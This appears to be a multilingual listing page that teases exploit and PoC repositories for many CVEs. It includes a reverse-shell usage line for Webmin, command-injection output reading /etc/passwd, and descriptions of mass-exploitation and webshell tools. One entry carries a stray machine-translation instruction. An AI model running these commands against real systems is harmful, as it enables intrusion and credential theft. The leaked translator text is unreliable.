Exploit_CVE-2025-37164

ExploitCVE-2025-37164 ! Dieses Skript ist ausschließlich für Bildungszwecke gedacht Exploit für die CVE-2025-37164 Beschreibung : Dieses Skript bietet einen einfachen Exploit für die CVE-2025-37164, die HPE OneView betrifft, und kann verwendet werden, um zu überprüfen, ob ein Asset verwundbar ist...

JBWPer

JBWPer | CVE-2022-4061 - JobBoardWP Ferramenta automática em massa para verificar e explorar a vulnerabilidade CVE-2022-4061 - JobBoardWP install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh...

CVE-2025-55182-exploit

⚠️ AVISO Esta ferramenta é destinada APENAS para testes de segurança autorizados e fins educacionais. Teste apenas sistemas que você possui ou para os quais tenha permissão explícita por escrito. O uso não autorizado é ilegal e antiético. Os desenvolvedores não assumem nenhuma responsabilidade por...

Exploit for CVE-2026-46339

CTT-Enhanced-CVE-2026-46339-Exploit-Engine A specialized Pytho...

China-Made ZBT Routers Ship With Two Implants Giving Unauthenticated Attackers Root Access

VulnCheck has disclosed two previously undocumented factory implants in firmware for routers built by Shenzhen Zhibotong Electronics ZBT, each of which gives an unauthenticated remote attacker the ability to run commands as root on affected devices. The implants, named SPEAKINGSTONE and DARKLANTE...

webmin_cve-2019-12840_poc

webmincve-2019-12840poc Un POC standalone per CVE-2019-12840. Di seguito verrà inviata una reverse shell sulla porta 443 root@kitploit: $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | \ \ /...

CVE-2020-8515

CVE-2020-8515 PoC di Draytek per CVE-2020-8515 che avevo in giro. Divertentemente, il comando iniettato viene eseguito due volte, vedi qui: root@kitploit: $ ./draytek.py draytek.local executing command: cat /etc/passwd + vulnerable! executing command: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 2...

API-Security-Checklist

English | 繁中版 | 简中版 | العربية | Azərbaycan | Български | বাংলা | Català | Čeština | Deutsch | Ελληνικά | Español | فارسی | Français | हिंदी | Indonesia | 日本語 | 한국어 | ພາສາລາວ | Македонски | മലയാളം | Монгол | Nederlands | Polski | Português Brasil | Русский | ไทย | Türkçe | Українська | Tiếng Việt...

cve-2024-3400

cve-2024-3400 Script Python di exploit e verifica per CVE-2024-3400: iniezione di comandi e creazione arbitraria di file su Palo Alto root@kitploit: usage: cve-2024-3400.py -h exploit,check ... CVE-2024-3400 - Palo Alto OS Command Injection positional arguments: exploit,check Available modules...

CVE-2023-48842

should start with " CVE-2023-48842" as is, then the translated content. I'll write it directly. CVE-2023-48842 Fonte : D-Link Go-RT-AC750 revAv101b03 è stato scoperto contenere una vulnerabilità di command injection tramite il parametro service in hedwig.cgi...

CVE-2020-11651

CVE-2020-11651 PoC für CVE-2020-11651 Erfordert Python3, getestet auf 3.8 python3.8 -m pip install pyzmq msgpack root@kitploit: ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server Target Server ...

n8n-cve-2025-68613-thm

CVE-2025-68613 – Sfruttamento Critico di RCE in n8n Panoramica Questo repository documenta uno sfruttamento pratico di CVE-2025-68613 CVSS 9.9 , una vulnerabilità critica di esecuzione remota di codice che colpisce la piattaforma di automazione dei flussi di lavoro n8n versioni dalla 0.211.0 alla...

CVE-2019-13272

CVE-2019-13272 Linux lokaler Root-Exploit Linux 4.10 5.1.17 PTRACETRACEME lokaler Root CVE-2019-13272 root@kitploit: In the Linux kernel before 5.1.17, ptracelink in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, which allows...

CVE-2022-26134

Sfruttamento attivo di Confluence CVE-2022-26134 Panoramica CVE-2022-26134 è una vulnerabilità critica di Esecuzione di codice in remoto RCE che colpisce Atlassian Confluence. Questa vulnerabilità consente ad attaccanti non autenticati di eseguire codice arbitrario iniettando espressioni OGNL neg...

cve-2022-1040

Ambiente In Ambiente Python 3.10 root@kitploit: It's strongly recommended to use the virtual environment pip3 install baseproxy python3.10 will raise an AttributeError if the version of pyOpenSSLdownloaded with baseproxy is too low. Reinstalling the latest version will fix it. pip3 uninstall...

CHARON

/ || | | | / \ | \ / | \ | | | | | | | | / \ | | | | | | | | | | | |/ | "È cosa terribile cadere nelle mani del Dio vivente." — Ebrei 10:31 Cos'è Un PoC compatto e senza dipendenze per CVE-2026-46333 : il bypass mm==NULL di ptracemayaccess divulgato da Qualys il 15 maggio 2026. Charon mette in ga...

CVE-2022-28590

CVE-2022-28590 La scoperta originale e il PoC manuale provengono da tuando243: Esiste una vulnerabilità di esecuzione remota di codice RCE in Pixelimity 1.0 tramite admin/admin-ajax.php?action=installtheme. Questo PoC carica una semplice webshell per un'ulteriore esecuzione remota di codice. Ques...

UPGer

UPGer | CVE-2022-4060 - User Post Gallery Automatisches Massentool zur Überprüfung der Schwachstelle CVE-2022-4060 - WordPress Plugin: User Post Gallery install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh...

Exploit for OS Command Injection in Synacor Zimbra_Collaboration_Suite

Wazuh Rules CVE-2026-73570 Zimbra OS Command Injection Dete...

CVE-2021-44228-poc

Log4Shell नमूना कमजोर अनुप्रयोग CVE-2021-44228 यह https://github.com/christophetd/log4shell-vulnerable-app का लगभग प्रतिलिपि/समान कमजोर अनुप्रयोग है। मुख्य अंतर ग्रेडल के बजाय मेवेन का उपयोग और rogue-jndi का उपयोग है। इस रिपॉजिटरी में एक मेवेन स्प्रिंग बूट वेब अनुप्रयोग है जो CVE-2021-44228 के...